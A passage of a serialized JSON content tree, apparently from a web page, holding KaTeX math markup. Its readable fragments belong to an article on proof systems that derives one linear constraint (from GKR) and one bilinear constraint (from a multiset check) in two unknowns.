117930],{"type":20,"tag":315,"props":117931,"children":117933},{"className":117932,"style":112528},[2403,19992,2452],[117934],{"type":26,"value":7052},{"type":20,"tag":315,"props":117936,"children":117938},{"className":117937},[20149],[117939],{"type":26,"value":20152},{"type":20,"tag":315,"props":117941,"children":117943},{"className":117942},[2429],[117944],{"type":20,"tag":315,"props":117945,"children":117947},{"className":117946,"style":117215},[2434],[117948],{"type":20,"tag":315,"props":117949,"children":117950},{},[],{"type":20,"tag":315,"props":117952,"children":117954},{"className":117953,"style":2484},[2483],[],{"type":20,"tag":315,"props":117956,"children":117958},{"className":117957},[2489],[117959],{"type":26,"value":109567},{"type":20,"tag":315,"props":117961,"children":117963},{"className":117962,"style":2484},[2483],[],{"type":20,"tag":315,"props":117965,"children":117967},{"className":117966},[2392],[117968,117972,117977,117986],{"type":20,"tag":315,"props":117969,"children":117971},{"className":117970,"style":2504},[2397],[],{"type":20,"tag":315,"props":117973,"children":117975},{"className":117974},[20121],[117976],{"type":26,"value":1049},{"type":20,"tag":315,"props":117978,"children":117980},{"className":117979},[2403,26],[117981],{"type":20,"tag":315,"props":117982,"children":117984},{"className":117983},[2403],[117985],{"type":26,"value":117255},{"type":20,"tag":315,"props":117987,"children":117989},{"className":117988},[20143],[117990],{"type":26,"value":1509},{"type":20,"tag":29,"props":117992,"children":117993},{},[117994,117996,118165,118166,118335],{"type":26,"value":117995},"If we vary ",{"type":20,"tag":119,"props":117997,"children":117999},{"className":117998},[2375,2376],[118000],{"type":20,"tag":315,"props":118001,"children":118003},{"className":118002},[2381],[118004],{"type":20,"tag":315,"props":118005,"children":118007},{"className":118006,"ariaHidden":2387},[2386],[118008,118086],{"type":20,"tag":315,"props":118009,"children":118011},{"className":118010},[2392],[118012,118016,118073,118077,118082],{"type":20,"tag":315,"props":118013,"children":118015},{"className":118014,"style":108275},[2397],[],{"type":20,"tag":315,"props":118017,"children":118019},{"className":118018},[2403],[118020,118025],{"type":20,"tag":315,"props":118021,"children":118023},{"className":118022},[2403,19992],[118024],{"type":26,"value":17680},{"type":20,"tag":315,"props":118026,"children":118028},{"className":118027},[2419],[118029],{"type":20,"tag":315,"props":118030,"children":118032},{"className":118031},[2424,20046],[118033,118062],{"type":20,"tag":315,"props":118034,"children":118036},{"className":118035},[2429],[118037,118057],{"type":20,"tag":315,"props":118038,"children":118040},{"className":118039,"style":91357},[2434],[118041],{"type":20,"tag":315,"props":118042,"children":118043},{"style":91361},[118044,118048],{"type":20,"tag":315,"props":118045,"children":118047},{"className":118046,"style":2444},[2443],[],{"type":20,"tag":315,"props":118049,"children":118051},{"className":118050},[2449,2450,2451,2452],[118052],{"type":20,"tag":315,"props":118053,"children":118055},{"className":118054},[2403,2452],[118056],{"type":26,"value":1063},{"type":20,"tag":315,"props":118058,"children":118060},{"className":118059},[20149],[118061],{"type":26,"value":20152},{"type":20,"tag":315,"props":118063,"children":118065},{"className":118064},[2429],[118066],{"type":20,"tag":315,"props":118067,"children":118069},{"className":118068,"style":91388},[2434],[118070],{"type":20,"tag":315,"props":118071,"children":118072},{},[],{"type":20,"tag":315,"props":118074,"children":118076},{"className":118075,"style":2581},[2483],[],{"type":20,"tag":315,"props":118078,"children":118080},{"className":118079},[2586],[118081],{"type":26,"value":337},{"type":20,"tag":315,"props":118083,"children":118085},{"className":118084,"style":2581},[2483],[],{"type":20,"tag":315,"props":118087,"children":118089},{"className":118088},[2392],[118090,118094,118135,118140,118145,118150,118155,118160],{"type":20,"tag":315,"props":118091,"children":118093},{"className":118092,"style":91247},[2397],[],{"type":20,"tag":315,"props":118095,"children":118097},{"className":118096},[2403],[118098,118107,118112,118121,118126],{"type":20,"tag":315,"props":118099,"children":118101},{"className":118100},[2403,26],[118102],{"type":20,"tag":315,"props":118103,"children":118105},{"className":118104},[2403],[118106],{"type":26,"value":92124},{"type":20,"tag":315,"props":118108,"children":118110},{"className":118109,"style":91305},[2403],[118111],{"type":26,"value":1463},{"type":20,"tag":315,"props":118113,"children":118115},{"className":118114},[2403,26],[118116],{"type":20,"tag":315,"props":118117,"children":118119},{"className":118118},[2403],[118120],{"type":26,"value":116979},{"type":20,"tag":315,"props":118122,"children":118124},{"className":118123,"style":91305},[2403],[118125],{"type":26,"value":1463},{"type":20,"tag":315,"props":118127,"children":118129},{"className":118128},[2403,26],[118130],{"type":20,"tag":315,"props":118131,"children":118133},{"className":118132},[2403],[118134],{"type":26,"value":116998},{"type":20,"tag":315,"props":118136,"children":118138},{"className":118137},[20121],[118139],{"type":26,"value":2117},{"type":20,"tag":315,"props":118141,"children":118143},{"className":118142},[2403],[118144],{"type":26,"value":1063},{"type":20,"tag":315,"props":118146,"children":118148},{"className":118147},[20143],[118149],{"type":26,"value":13812},{"type":20,"tag":315,"props":118151,"children":118153},{"className":118152},[20121],[118154],{"type":26,"value":2117},{"type":20,"tag":315,"props":118156,"children":118158},{"className":118157},[2403],[118159],{"type":26,"value":1063},{"type":20,"tag":315,"props":118161,"children":118163},{"className":118162},[20143],[118164],{"type":26,"value":13812},{"type":26,"value":9392},{"type":20,"tag":119,"props":118167,"children":118169},{"className":118168},[2375,2376],[118170],{"type":20,"tag":315,"props":118171,"children":118173},{"className":118172},[2381],[118174],{"type":20,"tag":315,"props":118175,"children":118177},{"className":118176,"ariaHidden":2387},[2386],[118178,118256],{"type":20,"tag":315,"props":118179,"children":118181},{"className":118180},[2392],[118182,118186,118243,118247,118252],{"type":20,"tag":315,"props":118183,"children":118185},{"className":118184,"style":108275},[2397],[],{"type":20,"tag":315,"props":118187,"children":118189},{"className":118188},[2403],[118190,118195],{"type":20,"tag":315,"props":118191,"children":118193},{"className":118192},[2403,19992],[118194],{"type":26,"value":17680},{"type":20,"tag":315,"props":118196,"children":118198},{"className":118197},[2419],[118199],{"type":20,"tag":315,"props":118200,"children":118202},{"className":118201},[2424,20046],[118203,118232],{"type":20,"tag":315,"props":118204,"children":118206},{"className":118205},[2429],[118207,118227],{"type":20,"tag":315,"props":118208,"children":118210},{"className":118209,"style":91357},[2434],[118211],{"type":20,"tag":315,"props":118212,"children":118213},{"style":91361},[118214,118218],{"type":20,"tag":315,"props":118215,"children":118217},{"className":118216,"style":2444},[2443],[],{"type":20,"tag":315,"props":118219,"children":118221},{"className":118220},[2449,2450,2451,2452],[118222],{"type":20,"tag":315,"props":118223,"children":118225},{"className":118224},[2403,2452],[118226],{"type":26,"value":2406},{"type":20,"tag":315,"props":118228,"children":118230},{"className":118229},[20149],[118231],{"type":26,"value":20152},{"type":20,"tag":315,"props":118233,"children":118235},{"className":118234},[2429],[118236],{"type":20,"tag":315,"props":118237,"children":118239},{"className":118238,"style":91388},[2434],[118240],{"type":20,"tag":315,"props":118241,"children":118242},{},[],{"type":20,"tag":315,"props":118244,"children":118246},{"className":118245,"style":2581},[2483],[],{"type":20,"tag":315,"props":118248,"children":118250},{"className":118249},[2586],[118251],{"type":26,"value":337},{"type":20,"tag":315,"props":118253,"children":118255},{"className":118254,"style":2581},[2483],[],{"type":20,"tag":315,"props":118257,"children":118259},{"className":118258},[2392],[118260,118264,118305,118310,118315,118320,118325,118330],{"type":20,"tag":315,"props":118261,"children":118263},{"className":118262,"style":91247},[2397],[],{"type":20,"tag":315,"props":118265,"children":118267},{"className":118266},[2403],[118268,118277,118282,118291,118296],{"type":20,"tag":315,"props":118269,"children":118271},{"className":118270},[2403,26],[118272],{"type":20,"tag":315,"props":118273,"children":118275},{"className":118274},[2403],[118276],{"type":26,"value":92124},{"type":20,"tag":315,"props":118278,"children":118280},{"className":118279,"style":91305},[2403],[118281],{"type":26,"value":1463},{"type":20,"tag":315,"props":118283,"children":118285},{"className":118284},[2403,26],[118286],{"type":20,"tag":315,"props":118287,"children":118289},{"className":118288},[2403],[118290],{"type":26,"value":116979},{"type":20,"tag":315,"props":118292,"children":118294},{"className":118293,"style":91305},[2403],[118295],{"type":26,"value":1463},{"type":20,"tag":315,"props":118297,"children":118299},{"className":118298},[2403,26],[118300],{"type":20,"tag":315,"props":118301,"children":118303},{"className":118302},[2403],[118304],{"type":26,"value":116998},{"type":20,"tag":315,"props":118306,"children":118308},{"className":118307},[20121],[118309],{"type":26,"value":2117},{"type":20,"tag":315,"props":118311,"children":118313},{"className":118312},[2403],[118314],{"type":26,"value":1063},{"type":20,"tag":315,"props":118316,"children":118318},{"className":118317},[20143],[118319],{"type":26,"value":13812},{"type":20,"tag":315,"props":118321,"children":118323},{"className":118322},[20121],[118324],{"type":26,"value":2117},{"type":20,"tag":315,"props":118326,"children":118328},{"className":118327},[2403],[118329],{"type":26,"value":2406},{"type":20,"tag":315,"props":118331,"children":118333},{"className":118332},[20143],[118334],{"type":26,"value":13812},{"type":26,"value":118336}," we get the following constraint:",{"type":20,"tag":29,"props":118338,"children":118339},{},[118340],{"type":20,"tag":119,"props":118341,"children":118343},{"className":118342},[2375,2376],[118344],{"type":20,"tag":315,"props":118345,"children":118347},{"className":118346},[2381],[118348],{"type":20,"tag":315,"props":118349,"children":118351},{"className":118350,"ariaHidden":2387},[2386],[118352,118431,118509,118550],{"type":20,"tag":315,"props":118353,"children":118355},{"className":118354},[2392],[118356,118361,118418,118422,118427],{"type":20,"tag":315,"props":118357,"children":118360},{"className":118358,"style":118359},[2397],"height:0.5945em;vertical-align:-0.15em;",[],{"type":20,"tag":315,"props":118362,"children":118364},{"className":118363},[2403],[118365,118370],{"type":20,"tag":315,"props":118366,"children":118368},{"className":118367},[2403,19992],[118369],{"type":26,"value":17680},{"type":20,"tag":315,"props":118371,"children":118373},{"className":118372},[2419],[118374],{"type":20,"tag":315,"props":118375,"children":118377},{"className":118376},[2424,20046],[118378,118407],{"type":20,"tag":315,"props":118379,"children":118381},{"className":118380},[2429],[118382,118402],{"type":20,"tag":315,"props":118383,"children":118385},{"className":118384,"style":91357},[2434],[118386],{"type":20,"tag":315,"props":118387,"children":118388},{"style":91361},[118389,118393],{"type":20,"tag":315,"props":118390,"children":118392},{"className":118391,"style":2444},[2443],[],{"type":20,"tag":315,"props":118394,"children":118396},{"className":118395},[2449,2450,2451,2452],[118397],{"type":20,"tag":315,"props":118398,"children":118400},{"className":118399},[2403,2452],[118401],{"type":26,"value":1063},{"type":20,"tag":315,"props":118403,"children":118405},{"className":118404},[20149],[118406],{"type":26,"value":20152},{"type":20,"tag":315,"props":118408,"children":118410},{"className":118409},[2429],[118411],{"type":20,"tag":315,"props":118412,"children":118414},{"className":118413,"style":91388},[2434],[118415],{"type":20,"tag":315,"props":118416,"children":118417},{},[],{"type":20,"tag":315,"props":118419,"children":118421},{"className":118420,"style":2484},[2483],[],{"type":20,"tag":315,"props":118423,"children":118425},{"className":118424},[2489],[118426],{"type":26,"value":109567},{"type":20,"tag":315,"props":118428,"children":118430},{"className":118429,"style":2484},[2483],[],{"type":20,"tag":315,"props":118432,"children":118434},{"className":118433},[2392],[118435,118439,118496,118500,118505],{"type":20,"tag":315,"props":118436,"children":118438},{"className":118437,"style":118359},[2397],[],{"type":20,"tag":315,"props":118440,"children":118442},{"className":118441},[2403],[118443,118448],{"type":20,"tag":315,"props":118444,"children":118446},{"className":118445},[2403,19992],[118447],{"type":26,"value":17680},{"type":20,"tag":315,"props":118449,"children":118451},{"className":118450},[2419],[118452],{"type":20,"tag":315,"props":118453,"children":118455},{"className":118454},[2424,20046],[118456,118485],{"type":20,"tag":315,"props":118457,"children":118459},{"className":118458},[2429],[118460,118480],{"type":20,"tag":315,"props":118461,"children":118463},{"className":118462,"style":91357},[2434],[118464],{"type":20,"tag":315,"props":118465,"children":118466},{"style":91361},[118467,118471],{"type":20,"tag":315,"props":118468,"children":118470},{"className":118469,"style":2444},[2443],[],{"type":20,"tag":315,"props":118472,"children":118474},{"className":118473},[2449,2450,2451,2452],[118475],{"type":20,"tag":315,"props":118476,"children":118478},{"className":118477},[2403,2452],[118479],{"type":26,"value":2406},{"type":20,"tag":315,"props":118481,"children":118483},{"className":118482},[20149],[118484],{"type":26,"value":20152},{"type":20,"tag":315,"props":118486,"children":118488},{"className":118487},[2429],[118489],{"type":20,"tag":315,"props":118490,"children":118492},{"className":118491,"style":91388},[2434],[118493],{"type":20,"tag":315,"props":118494,"children":118495},{},[],{"type":20,"tag":315,"props":118497,"children":118499},{"className":118498,"style":2484},[2483],[],{"type":20,"tag":315,"props":118501,"children":118503},{"className":118502},[2489],[118504],{"type":26,"value":109567},{"type":20,"tag":315,"props":118506,"children":118508},{"className":118507,"style":2484},[2483],[],{"type":20,"tag":315,"props":118510,"children":118512},{"className":118511},[2392],[118513,118517,118522,118532,118537,118541,118546],{"type":20,"tag":315,"props":118514,"children":118516},{"className":118515,"style":2504},[2397],[],{"type":20,"tag":315,"props":118518,"children":118520},{"className":118519},[20121],[118521],{"type":26,"value":1049},{"type":20,"tag":315,"props":118523,"children":118525},{"className":118524},[2403,26],[118526],{"type":20,"tag":315,"props":118527,"children":118529},{"className":118528},[2403],[118530],{"type":26,"value":118531},"rest of product",{"type":20,"tag":315,"props":118533,"children":118535},{"className":118534},[20143],[118536],{"type":26,"value":1509},{"type":20,"tag":315,"props":118538,"children":118540},{"className":118539,"style":2581},[2483],[],{"type":20,"tag":315,"props":118542,"children":118544},{"className":118543},[2586],[118545],{"type":26,"value":337},{"type":20,"tag":315,"props":118547,"children":118549},{"className":118548,"style":2581},[2483],[],{"type":20,"tag":315,"props":118551,"children":118553},{"className":118552},[2392],[118554,118558],{"type":20,"tag":315,"props":118555,"children":118557},{"className":118556,"style":113325},[2397],[],{"type":20,"tag":315,"props":118559,"children":118561},{"className":118560},[2403,26],[118562],{"type":20,"tag":315,"props":118563,"children":118565},{"className":118564},[2403],[118566],{"type":26,"value":113336},{"type":20,"tag":29,"props":118568,"children":118569},{},[118570,118572,118725],{"type":26,"value":118571},"This is bilinear in ",{"type":20,"tag":119,"props":118573,"children":118575},{"className":118574},[2375,2376],[118576],{"type":20,"tag":315,"props":118577,"children":118579},{"className":118578},[2381],[118580],{"type":20,"tag":315,"props":118581,"children":118583},{"className":118582,"ariaHidden":2387},[2386],[118584],{"type":20,"tag":315,"props":118585,"children":118587},{"className":118586},[2392],[118588,118592,118597,118654,118659,118663,118720],{"type":20,"tag":315,"props":118589,"children":118591},{"className":118590,"style":2504},[2397],[],{"type":20,"tag":315,"props":118593,"children":118595},{"className":118594},[20121],[118596],{"type":26,"value":1049},{"type":20,"tag":315,"props":118598,"children":118600},{"className":118599},[2403],[118601,118606],{"type":20,"tag":315,"props":118602,"children":118604},{"className":118603},[2403,19992],[118605],{"type":26,"value":17680},{"type":20,"tag":315,"props":118607,"children":118609},{"className":118608},[2419],[118610],{"type":20,"tag":315,"props":118611,"children":118613},{"className":118612},[2424,20046],[118614,118643],{"type":20,"tag":315,"props":118615,"children":118617},{"className":118616},[2429],[118618,118638],{"type":20,"tag":315,"props":118619,"children":118621},{"className":118620,"style":91357},[2434],[118622],{"type":20,"tag":315,"props":118623,"children":118624},{"style":91361},[118625,118629],{"type":20,"tag":315,"props":118626,"children":118628},{"className":118627,"style":2444},[2443],[],{"type":20,"tag":315,"props":118630,"children":118632},{"className":118631},[2449,2450,2451,2452],[118633],{"type":20,"tag":315,"props":118634,"children":118636},{"className":118635},[2403,2452],[118637],{"type":26,"value":1063},{"type":20,"tag":315,"props":118639,"children":118641},{"className":118640},[20149],[118642],{"type":26,"value":20152},{"type":20,"tag":315,"props":118644,"children":118646},{"className":118645},[2429],[118647],{"type":20,"tag":315,"props":118648,"children":118650},{"className":118649,"style":91388},[2434],[118651],{"type":20,"tag":315,"props":118652,"children":118653},{},[],{"type":20,"tag":315,"props":118655,"children":118657},{"className":118656},[2515],[118658],{"type":26,"value":2518},{"type":20,"tag":315,"props":118660,"children":118662},{"className":118661,"style":2522},[2483],[],{"type":20,"tag":315,"props":118664,"children":118666},{"className":118665},[2403],[118667,118672],{"type":20,"tag":315,"props":118668,"children":118670},{"className":118669},[2403,19992],[118671],{"type":26,"value":17680},{"type":20,"tag":315,"props":118673,"children":118675},{"className":118674},[2419],[118676],{"type":20,"tag":315,"props":118677,"children":118679},{"className":118678},[2424,20046],[118680,118709],{"type":20,"tag":315,"props":118681,"children":118683},{"className":118682},[2429],[118684,118704],{"type":20,"tag":315,"props":118685,"children":118687},{"className":118686,"style":91357},[2434],[118688],{"type":20,"tag":315,"props":118689,"children":118690},{"style":91361},[118691,118695],{"type":20,"tag":315,"props":118692,"children":118694},{"className":118693,"style":2444},[2443],[],{"type":20,"tag":315,"props":118696,"children":118698},{"className":118697},[2449,2450,2451,2452],[118699],{"type":20,"tag":315,"props":118700,"children":118702},{"className":118701},[2403,2452],[118703],{"type":26,"value":2406},{"type":20,"tag":315,"props":118705,"children":118707},{"className":118706},[20149],[118708],{"type":26,"value":20152},{"type":20,"tag":315,"props":118710,"children":118712},{"className":118711},[2429],[118713],{"type":20,"tag":315,"props":118714,"children":118716},{"className":118715,"style":91388},[2434],[118717],{"type":20,"tag":315,"props":118718,"children":118719},{},[],{"type":20,"tag":315,"props":118721,"children":118723},{"className":118722},[20143],[118724],{"type":26,"value":1509},{"type":26,"value":61},{"type":20,"tag":29,"props":118727,"children":118728},{},[118729,118731,118884],{"type":26,"value":118730},"We have two unknowns ",{"type":20,"tag":119,"props":118732,"children":118734},{"className":118733},[2375,2376],[118735],{"type":20,"tag":315,"props":118736,"children":118738},{"className":118737},[2381],[118739],{"type":20,"tag":315,"props":118740,"children":118742},{"className":118741,"ariaHidden":2387},[2386],[118743],{"type":20,"tag":315,"props":118744,"children":118746},{"className":118745},[2392],[118747,118751,118756,118813,118818,118822,118879],{"type":20,"tag":315,"props":118748,"children":118750},{"className":118749,"style":2504},[2397],[],{"type":20,"tag":315,"props":118752,"children":118754},{"className":118753},[20121],[118755],{"type":26,"value":1049},{"type":20,"tag":315,"props":118757,"children":118759},{"className":118758},[2403],[118760,118765],{"type":20,"tag":315,"props":118761,"children":118763},{"className":118762},[2403,19992],[118764],{"type":26,"value":17680},{"type":20,"tag":315,"props":118766,"children":118768},{"className":118767},[2419],[118769],{"type":20,"tag":315,"props":118770,"children":118772},{"className":118771},[2424,20046],[118773,118802],{"type":20,"tag":315,"props":118774,"children":118776},{"className":118775},[2429],[118777,118797],{"type":20,"tag":315,"props":118778,"children":118780},{"className":118779,"style":91357},[2434],[118781],{"type":20,"tag":315,"props":118782,"children":118783},{"style":91361},[118784,118788],{"type":20,"tag":315,"props":118785,"children":118787},{"className":118786,"style":2444},[2443],[],{"type":20,"tag":315,"props":118789,"children":118791},{"className":118790},[2449,2450,2451,2452],[118792],{"type":20,"tag":315,"props":118793,"children":118795},{"className":118794},[2403,2452],[118796],{"type":26,"value":1063},{"type":20,"tag":315,"props":118798,"children":118800},{"className":118799},[20149],[118801],{"type":26,"value":20152},{"type":20,"tag":315,"props":118803,"children":118805},{"className":118804},[2429],[118806],{"type":20,"tag":315,"props":118807,"children":118809},{"className":118808,"style":91388},[2434],[118810],{"type":20,"tag":315,"props":118811,"children":118812},{},[],{"type":20,"tag":315,"props":118814,"children":118816},{"className":118815},[2515],[118817],{"type":26,"value":2518},{"type":20,"tag":315,"props":118819,"children":118821},{"className":118820,"style":2522},[2483],[],{"type":20,"tag":315,"props":118823,"children":118825},{"className":118824},[2403],[118826,118831],{"type":20,"tag":315,"props":118827,"children":118829},{"className":118828},[2403,19992],[118830],{"type":26,"value":17680},{"type":20,"tag":315,"props":118832,"children":118834},{"className":118833},[2419],[118835],{"type":20,"tag":315,"props":118836,"children":118838},{"className":118837},[2424,20046],[118839,118868],{"type":20,"tag":315,"props":118840,"children":118842},{"className":118841},[2429],[118843,118863],{"type":20,"tag":315,"props":118844,"children":118846},{"className":118845,"style":91357},[2434],[118847],{"type":20,"tag":315,"props":118848,"children":118849},{"style":91361},[118850,118854],{"type":20,"tag":315,"props":118851,"children":118853},{"className":118852,"style":2444},[2443],[],{"type":20,"tag":315,"props":118855,"children":118857},{"className":118856},[2449,2450,2451,2452],[118858],{"type":20,"tag":315,"props":118859,"children":118861},{"className":118860},[2403,2452],[118862],{"type":26,"value":2406},{"type":20,"tag":315,"props":118864,"children":118866},{"className":118865},[20149],[118867],{"type":26,"value":20152},{"type":20,"tag":315,"props":118869,"children":118871},{"className":118870},[2429],[118872],{"type":20,"tag":315,"props":118873,"children":118875},{"className":118874,"style":91388},[2434],[118876],{"type":20,"tag":315,"props":118877,"children":118878},{},[],{"type":20,"tag":315,"props":118880,"children":118882},{"className":118881},[20143],[118883],{"type":26,"value":1509},{"type":26,"value":118885}," and two equations, one linear and one bilinear:",{"type":20,"tag":68,"props":118887,"children":118888},{},[118889,119216],{"type":20,"tag":72,"props":118890,"children":118891},{},[118892,118894],{"type":26,"value":118893},"Linear (from GKR): ",{"type":20,"tag":119,"props":118895,"children":118897},{"className":118896},[2375,2376],[118898],{"type":20,"tag":315,"props":118899,"children":118901},{"className":118900},[2381],[118902],{"type":20,"tag":315,"props":118903,"children":118905},{"className":118904,"ariaHidden":2387},[2386],[118906,119042,119177,119203],{"type":20,"tag":315,"props":118907,"children":118909},{"className":118908},[2392],[118910,118915,118972,119029,119033,119038],{"type":20,"tag":315,"props":118911,"children":118914},{"className":118912,"style":118913},[2397],"height:0.7333em;vertical-align:-0.15em;",[],{"type":20,"tag":315,"props":118916,"children":118918},{"className":118917},[2403],[118919,118924],{"type":20,"tag":315,"props":118920,"children":118922},{"className":118921},[2403,19992],[118923],{"type":26,"value":35},{"type":20,"tag":315,"props":118925,"children":118927},{"className":118926},[2419],[118928],{"type":20,"tag":315,"props":118929,"children":118931},{"className":118930},[2424,20046],[118932,118961],{"type":20,"tag":315,"props":118933,"children":118935},{"className":118934},[2429],[118936,118956],{"type":20,"tag":315,"props":118937,"children":118939},{"className":118938,"style":91357},[2434],[118940],{"type":20,"tag":315,"props":118941,"children":118942},{"style":91361},[118943,118947],{"type":20,"tag":315,"props":118944,"children":118946},{"className":118945,"style":2444},[2443],[],{"type":20,"tag":315,"props":118948,"children":118950},{"className":118949},[2449,2450,2451,2452],[118951],{"type":20,"tag":315,"props":118952,"children":118954},{"className":118953},[2403,2452],[118955],{"type":26,"value":1063},{"type":20,"tag":315,"props":118957,"children":118959},{"className":118958},[20149],[118960],{"type":26,"value":20152},{"type":20,"tag":315,"props":118962,"children":118964},{"className":118963},[2429],[118965],{"type":20,"tag":315,"props":118966,"children":118968},{"className":118967,"style":91388},[2434],[118969],{"type":20,"tag":315,"props":118970,"children":118971},{},[],{"type":20,"tag":315,"props":118973,"children":118975},{"className":118974},[2403],[118976,118981],{"type":20,"tag":315,"props":118977,"children":118979},{"className":118978},[2403,19992],[118980],{"type":26,"value":17680},{"type":20,"tag":315,"props":118982,"children":118984},{"className":118983},[2419],[118985],{"type":20,"tag":315,"props":118986,"children":118988},{"className":118987},[2424,20046],[118989,119018],{"type":20,"tag":315,"props":118990,"children":118992},{"className":118991},[2429],[118993,119013],{"type":20,"tag":315,"props":118994,"children":118996},{"className":118995,"style":91357},[2434],[118997],{"type":20,"tag":315,"props":118998,"children":118999},{"style":91361},[119000,119004],{"type":20,"tag":315,"props":119001,"children":119003},{"className":119002,"style":2444},[2443],[],{"type":20,"tag":315,"props":119005,"children":119007},{"className":119006},[2449,2450,2451,2452],[119008],{"type":20,"tag":315,"props":119009,"children":119011},{"className":119010},[2403,2452],[119012],{"type":26,"value":1063},{"type":20,"tag":315,"props":119014,"children":119016},{"className":119015},[20149],[119017],{"type":26,"value":20152},{"type":20,"tag":315,"props":119019,"children":119021},{"className":119020},[2429],[119022],{"type":20,"tag":315,"props":119023,"children":119025},{"className":119024,"style":91388},[2434],[119026],{"type":20,"tag":315,"props":119027,"children":119028},{},[],{"type":20,"tag":315,"props":119030,"children":119032},{"className":119031,"style":2484},[2483],[],{"type":20,"tag":315,"props":119034,"children":119036},{"className":119035},[2489],[119037],{"type":26,"value":817},{"type":20,"tag":315,"props":119039,"children":119041},{"className":119040,"style":2484},[2483],[],{"type":20,"tag":315,"props":119043,"children":119045},{"className":119044},[2392],[119046,119050,119107,119164,119168,119173],{"type":20,"tag":315,"props":119047,"children":119049},{"className":119048,"style":118913},[2397],[],{"type":20,"tag":315,"props":119051,"children":119053},{"className":119052},[2403],[119054,119059],{"type":20,"tag":315,"props":119055,"children":119057},{"className":119056},[2403,19992],[119058],{"type":26,"value":35},{"type":20,"tag":315,"props":119060,"children":119062},{"className":119061},[2419],[119063],{"type":20,"tag":315,"props":119064,"children":119066},{"className":119065},[2424,20046],[119067,119096],{"type":20,"tag":315,"props":119068,"children":119070},{"className":119069},[2429],[119071,119091],{"type":20,"tag":315,"props":119072,"children":119074},{"className":119073,"style":91357},[2434],[119075],{"type":20,"tag":315,"props":119076,"children":119077},{"style":91361},[119078,119082],{"type":20,"tag":315,"props":119079,"children":119081},{"className":119080,"style":2444},[2443],[],{"type":20,"tag":315,"props":119083,"children":119085},{"className":119084},[2449,2450,2451,2452],[119086],{"type":20,"tag":315,"props":119087,"children":119089},{"className":119088},[2403,2452],[119090],{"type":26,"value":2406},{"type":20,"tag":315,"props":119092,"children":119094},{"className":119093},[20149],[119095],{"type":26,"value":20152},{"type":20,"tag":315,"props":119097,"children":119099},{"className":119098},[2429],[119100],{"type":20,"tag":315,"props":119101,"children":119103},{"className":119102,"style":91388},[2434],[119104],{"type":20,"tag":315,"props":119105,"children":119106},{},[],{"type":20,"tag":315,"props":119108,"children":119110},{"className":119109},[2403],[119111,119116],{"type":20,"tag":315,"props":119112,"children":119114},{"className":119113},[2403,19992],[119115],{"type":26,"value":17680},{"type":20,"tag":315,"props":119117,"children":119119},{"className":119118},[2419],[119120],{"type":20,"tag":315,"props":119121,"children":119123},{"className":119122},[2424,20046],[119124,119153],{"type":20,"tag":315,"props":119125,"children":119127},{"className":119126},[2429],[119128,119148],{"type":20,"tag":315,"props":119129,"children":119131},{"className":119130,"style":91357},[2434],[119132],{"type":20,"tag":315,"props":119133,"children":119134},{"style":91361},[119135,119139],{"type":20,"tag":315,"props":119136,"children":119138},{"className":119137,"style":2444},[2443],[],{"type":20,"tag":315,"props":119140,"children":119142},{"className":119141},[2449,2450,2451,2452],[119143],{"type":20,"tag":315,"props":119144,"children":119146},{"className":119145},[2403,2452],[119147],{"type":26,"value":2406},{"type":20,"tag":315,"props":119149,"children":119151},{"className":119150},[20149],[119152],{"type":26,"value":20152},{"type":20,"tag":315,"props":119154,"children":119156},{"className":119155},[2429],[119157],{"type":20,"tag":315,"props":119158,"children":119160},{"className":119159,"style":91388},[2434],[119161],{"type":20,"tag":315,"props":119162,"children":119163},{},[],{"type":20,"tag":315,"props":119165,"children":119167},{"className":119166,"style":2484},[2483],[],{"type":20,"tag":315,"props":119169,"children":119171},{"className":119170},[2489],[119172],{"type":26,"value":817},{"type":20,"tag":315,"props":119174,"children":119176},{"className":119175,"style":2484},[2483],[],{"type":20,"tag":315,"props":119178,"children":119180},{"className":119179},[2392],[119181,119185,119190,119194,119199],{"type":20,"tag":315,"props":119182,"children":119184},{"className":119183,"style":109146},[2397],[],{"type":20,"tag":315,"props":119186,"children":119188},{"className":119187},[2403,19992],[119189],{"type":26,"value":1528},{"type":20,"tag":315,"props":119191,"children":119193},{"className":119192,"style":2581},[2483],[],{"type":20,"tag":315,"props":119195,"children":119197},{"className":119196},[2586],[119198],{"type":26,"value":337},{"type":20,"tag":315,"props":119200,"children":119202},{"className":119201,"style":2581},[2483],[],{"type":20,"tag":315,"props":119204,"children":119206},{"className":119205},[2392],[119207,119211],{"type":20,"tag":315,"props":119208,"children":119210},{"className":119209,"style":92336},[2397],[],{"type":20,"tag":315,"props":119212,"children":119214},{"className":119213},[2403],[119215],{"type":26,"value":1063},{"type":20,"tag":72,"props":119217,"children":119218},{},[119219,119221],{"type":26,"value":119220},"Bilinear (from multiset): ",{"type":20,"tag":119,"props":119222,"children":119224},{"className":119223},[2375,2376],[119225],{"type":20,"tag":315,"props":119226,"children":119228},{"className":119227},[2381],[119229],{"type":20,"tag":315,"props":119230,"children":119232},{"className":119231,"ariaHidden":2387},[2386],[119233,119259,119337,119415,119441],{"type":20,"tag":315,"props":119234,"children":119236},{"className":119235},[2392],[119237,119241,119246,119250,119255],{"type":20,"tag":315,"props":119238,"children":119240},{"className":119239,"style":91220},[2397],[],{"type":20,"tag":315,"props":119242,"children":119244},{"className":119243,"style":92734},[2403,19992],[119245],{"type":26,"value":86942},{"type":20,"tag":315,"props":119247,"children":119249},{"className":119248,"style":2484},[2483],[],{"type":20,"tag":315,"props":119251,"children":119253},{"className":119252},[2489],[119254],{"type":26,"value":109567},{"type":20,"tag":315,"props":119256,"children":119258},{"className":119257,"style":2484},[2483],[],{"type":20,"tag":315,"props":119260,"children":119262},{"className":119261},[2392],[119263,119267,119324,119328,119333],{"type":20,"tag":315,"props":119264,"children":119266},{"className":119265,"style":118359},[2397],[],{"type":20,"tag":315,"props":119268,"children":119270},{"className":119269},[2403],[119271,119276],{"type":20,"tag":315,"props":119272,"children":119274},{"className":119273},[2403,19992],[119275],{"type":26,"value":17680},{"type":20,"tag":315,"props":119277,"children":119279},{"className":119278},[2419],[119280],{"type":20,"tag":315,"props":119281,"children":119283},{"className":119282},[2424,20046],[119284,119313],{"type":20,"tag":315,"props":119285,"children":119287},{"className":119286},[2429],[119288,119308],{"type":20,"tag":315,"props":119289,"children":119291},{"className":119290,"style":91357},[2434],[119292],{"type":20,"tag":315,"props":119293,"children":119294},{"style":91361},[119295,119299],{"type":20,"tag":315,"props":119296,"children":119298},{"className":119297,"style":2444},[2443],[],{"type":20,"tag":315,"props":119300,"children":119302},{"className":119301},[2449,2450,2451,2452],[119303],{"type":20,"tag":315,"props":119304,"children":119306},{"className":119305},[2403,2452],[119307],{"type":26,"value":1063},{"type":20,"tag":315,"props":119309,"children